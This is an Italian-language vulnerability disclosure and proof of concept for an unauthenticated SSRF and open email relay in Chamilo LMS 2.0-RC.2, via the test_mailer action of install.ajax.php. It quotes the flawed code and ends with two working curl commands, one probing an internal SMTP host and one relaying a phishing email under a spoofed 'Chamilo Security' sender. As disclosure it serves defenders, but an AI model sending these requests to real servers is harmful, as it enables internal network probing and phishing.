
Proof-of-concept di exploit per SSRF non autenticato e open email relay in Chamilo LMS tramite install.ajax.php, che consente il probing della rete interna e l'invio di email di phishing.
Gravità: Alta (CVSS 7.2)
CWE: CWE-918 (SSRF) + CWE-306 (Autenticazione mancante)
Affetto: chamilo/chamilo-lms 2.0-RC.2
Corretto in: 2.0-RC.3
Advisory: GHSA-mxc9-9335-45mc
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33715
Credito: Romain Deperne
install.ajax.php in Chamilo LMS 2.0 è accessibile senza autenticazione su istanze completamente installate. La sua azione test_mailer accetta un DSN Symfony Mailer arbitrario e una destinazione dai dati POST, consentendo a qualsiasi attaccante non autenticato di forzare il server a iniziare connessioni SMTP verso host interni arbitrari (SSRF) e di inviare email attraverso il server Chamilo come relay aperto.
Stavo analizzando Chamilo LMS dopo aver notato che aveva accumulato diverse CVE ma non era stato analizzato in profondità sui suoi endpoint AJAX. Il mio approccio: elencare tutti i file in public/main/inc/ajax/ e verificare se ciascuno inizia con require_once __DIR__.'/../global.inc.php' — l'inclusione che impone l'autenticazione in tutto il codebase.
install.ajax.php era l'eccezione. Include solo l'autoloader di Composer. Il nome del file suggeriva già che si trattava di codice di installazione residuo — e un grep per test_mailer al suo interno ha confermato che accetta una stringa DSN Symfony Mailer grezza dai dati POST e la passa direttamente a Transport::fromDsn().
Si tratta di una primitiva SSRF completa: un attaccante non autenticato controlla il protocollo, l'host e la porta a cui il server si connette. Il fatto che invii un'email effettiva attraverso qualunque trasporto si configuri lo trasforma anche in un relay aperto. Ho confermato con un semplice curl che l'endpoint era raggiungibile senza alcun cookie di sessione su un'istanza completamente installata.
La causa principale è architetturale: il file aggira il firewall di sicurezza di Symfony perché RewriteCond %{REQUEST_FILENAME} !-f di Apache passa i file PHP esistenti direttamente a PHP, senza mai raggiungere il front controller.
File: public/main/inc/ajax/install.ajax.php
Il file era stato progettato per la procedura guidata di installazione ma rimane accessibile dopo l'installazione. A differenza di ogni altro endpoint AJAX nella stessa directory, non include global.inc.php — il che significa zero autenticazione, zero controllo di autorizzazione:
// Line 18 — only loads Composer autoloader, no auth
require_once __DIR__.'/../../../../vendor/autoload.php';
L'azione test_mailer (riga ~138) accetta parametri POST controllati dall'attaccante:
case 'test_mailer':
$mailerDsn = (string) $request->request->get('mailerDsn'); // arbitrary SMTP DSN
$mailerTestDestination = (string) $request->request->get('mailerTestDestination'); // arbitrary email
// ...
$transport = Transport::fromDsn($mailerDsn); // connects to attacker's SMTP server
$mailer = new Mailer($transport);
$mailer->send($email); // sends email through it
Confronta con qualsiasi endpoint adeguatamente protetto:
// chat.ajax.php line 9 — correct pattern
require_once __DIR__.'/../global.inc.php'; // enforces authentication
api_block_anonymous_users();
Il file viene servito direttamente da Apache (RewriteCond %{REQUEST_FILENAME} !-f lascia passare i file PHP esistenti, aggirando il firewall di sicurezza di Symfony). L'assenza dell'inclusione di global.inc.php significa nessuna sessione, nessuna autenticazione, nessun controllo di installazione completata.
Vedi poc.py per una dimostrazione completa.
# SSRF — force Chamilo to connect to internal SMTP server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://10.0.0.1:25" \
-d "[email protected]" \
-d "mailerFromName=Test" \
-d "[email protected]"
# Open relay — send phishing email through the Chamilo server
curl -X POST "http://<target>/main/inc/ajax/install.ajax.php?a=test_mailer" \
-d "mailerDsn=smtp://mail.chamilo.org:587" \
-d "[email protected]" \
-d "mailerFromName=Chamilo Security" \
-d "[email protected]"